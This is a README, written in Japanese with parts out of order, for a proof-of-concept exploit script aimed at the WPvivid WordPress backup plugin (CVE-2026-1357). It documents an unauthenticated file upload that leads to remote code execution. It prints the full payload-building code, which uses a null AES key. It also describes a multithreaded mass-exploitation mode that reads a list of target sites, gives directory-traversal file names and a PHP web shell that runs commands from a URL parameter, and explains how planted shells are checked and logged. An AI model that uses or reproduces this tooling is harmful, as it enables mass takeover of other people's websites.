
Migration, Backup, Staging <= 0.9.123 - 未認証の任意ファイルアップロード
CVE-2026-1357.py)移行、バックアップ、ステージング – WPvivid Backup & Migration ≤ 0.9.123
脆弱性: 認証なし任意ファイルアップロード → リモートコード実行
CVE: CVE-2026-1357 – CVSS 9.8(クリティカル)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py は、WPvivid の脆弱性を利用する 概念実証(PoC)エクスプロイトツールです。このツールは、攻撃者による以下の操作を可能にする、欠陥のある AES セッション処理に焦点を当てています。
name)をペイロードに埋め込む。wpvivid_action=send_to_site パラメータ経由で WPvivid エンドポイントに送信する。このスクリプトは、秘密鍵を直接推測したり悪用したりすることはありません。代わりに、openssl_private_decrypt() の失敗によって phpseclib の AES 暗号が Null-Key で初期化されるという、WPvivid の壊れた処理フローを再現します。
エクスプロイトの核心は gen_wpvivid_payload() にあります。
以下の JSON 構造を構築します。
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
この JSON を(スペースなしのコンパクト形式で)シリアライズします。
次の設定で JSON を暗号化します。
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16その後、以下を先頭に付加します。
"000"(固定長フィールドのプレースホルダー)"{len(cipher):016X}" としてエンコードした値最終的な暗号化ブロブは次のようになります。
"000" + <16バイトの暗号文長16進数> + <raw AES-CBC暗号文>
このブロブは Base64 エンコードされ、最終的な wpvivid_content 値として返されます。
関数:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
これは、RSA 復号失敗後に脆弱なコード経路で WPvivid が期待する復号仕様と一致します。
このスクリプトには 2つの主要モード に加え、一括テスト機能があります。
mood1 – ペイロード生成器
wpvivid_content 値を生成します。mood2 – 単一ターゲットテスト
マスモード(mood1 から起動)
python3 CVE-2026-1357.py
Rich ベースの UI がバナーとモード選択とともに表示されます。
mood1 – ペイロード生成器mood2 – 単一ターゲットテストwpvivid_content)を作成します。
モード選択
プロンプトが表示されたら:
Choose mode (mood1/mood2) [mood1]:
Enter キーを押すか(mood1 がデフォルト)、mood1 と入力します。
ターゲットのファイル名 / パス
次のように求められます。
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
例:
WPvivid バックアップディレクトリにファイルを配置する場合:
Nx_.php
ディレクトリトラバーサルを悪用する場合(ターゲットが許可していれば):
../../public_html/Nx_.php
この値は JSON ペイロードの name フィールドに入ります。
内容入力モード
スクリプトはファイル内容を定義する3つの方法を表示します。
EOF で終了)shell.php)次のように求められます。
ペイロード生成後、スクリプトは次のように尋ねます。
Auto-send this payload to targets list (mass mode)? (y/N):
y と答えると、作成したペイロードとファイル名を使った マスモード が開始されます。
ターゲットファイル
プロンプト例:
Targets list file (one URL per line):
ファイルの期待される形式(例: targets.txt):
https://site1.com
site2.com
http://site3.net
スクリプトはベース URL を自動的に正規化します(スキームがない場合は追加します)。
スレッド数
Threads (concurrent sites) [5]:
並列処理するサイト数を制御します。
ターゲットごとのロジック
各ターゲットについて:
URL を正規化 → base_url
呼び出し:
send_wpvivid_payload(base_url, payload)
この関数は:
wpvivid_action=send_to_site + wpvivid_content=<payload> の POST を構築します。{"result":"success"}(コンパクト形式)が含まれるかどうかを確認します。アップロードが成功したと判断された場合:
shell_url を次のように構築します。
wpvivid_payload.txt または外部ソースから)を 単一の URL に対して使用し、結果のファイルを検証します。ターゲット URL
プロンプト:
Target base URL (e.g., https://site.com):
例:
https://victim.com
スクリプトはこれを次のようなベースに正規化します。
https://victim.com
ファイル名
プロンプト:
Expected file name (e.g., Nx_.php):
これは、WPvivid が書き込むと 予想される 名前/パスです(ペイロードの name フィールドにエンコードしたものと一致させます)。
ペイロード入力
プロンプト:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=... で始まる行全体を貼り付けた場合、プレフィックスを除去します。実行
スクリプトは:
wpvivid_action=send_to_site + 入力した wpvivid_content で POST を送信します。
レスポンスが成功を示している場合、次のように構築します。
このモードは、ペイロードを細かく制御しながら 単一サイトの手動/ラボテスト を行うのに最適です。
wpvivid_payload.txt
mood1 で書き込まれます。file_name=<選択したファイル名>wpvivid_content=<ペイロード>Nx_.txt
mood1(マスモード)と mood2 で書き込まれます。このツールは、以下の目的のみ を意図しています。
このスクリプトを使用することで、以下に同意したものとみなされます。
自己責任で、そして 正当なセキュリティテストのためだけに 使用してください。
Nxploited(Khaled Alenazi)https://github.com/Nxploited@KNxploitedアップデート、ツール、セキュリティ研究コンテンツについては、Telegram チャンネルをフォローしてください。
👉 @KNxploited
Mode [1/2/3] [1]:
モード 1 – 単一行
Single line content:
入力例:
<?php phpinfo();
モード 2 – 複数行
Enter file content, line by line. Type 'EOF' on its own line when done.
複数行の PHP スクリプトを貼り付けるか入力し、最後に EOF を単独行で入力します。
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
モード 3 – ローカルファイル
Local file path (e.g., shell.php):
スクリプトはファイル全体を file_bytes として読み取ります。
ペイロード生成
内容が取得されると、スクリプトは次の処理を行います。
次のような出力が表示されます。
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
そして wpvivid_payload.txt ファイルが書き込まれます。
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Nx_.txt に保存します。
verify_written_file() を試行します。
shell_url に GET リクエストを送信します。status_code == 200 の場合、検証済みとしてマークします。エラーが発生した場合:
short_reason() で理由を分類します。
UI
[OK] <shell_url>[FAIL] <base> (reason: ...)[!] Not verified (...)<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
そして [OK] とその URL を表示します。
成功した URL を Nx_.txt に追記します。
verify_written_file() で検証を試行し、結果を表示します。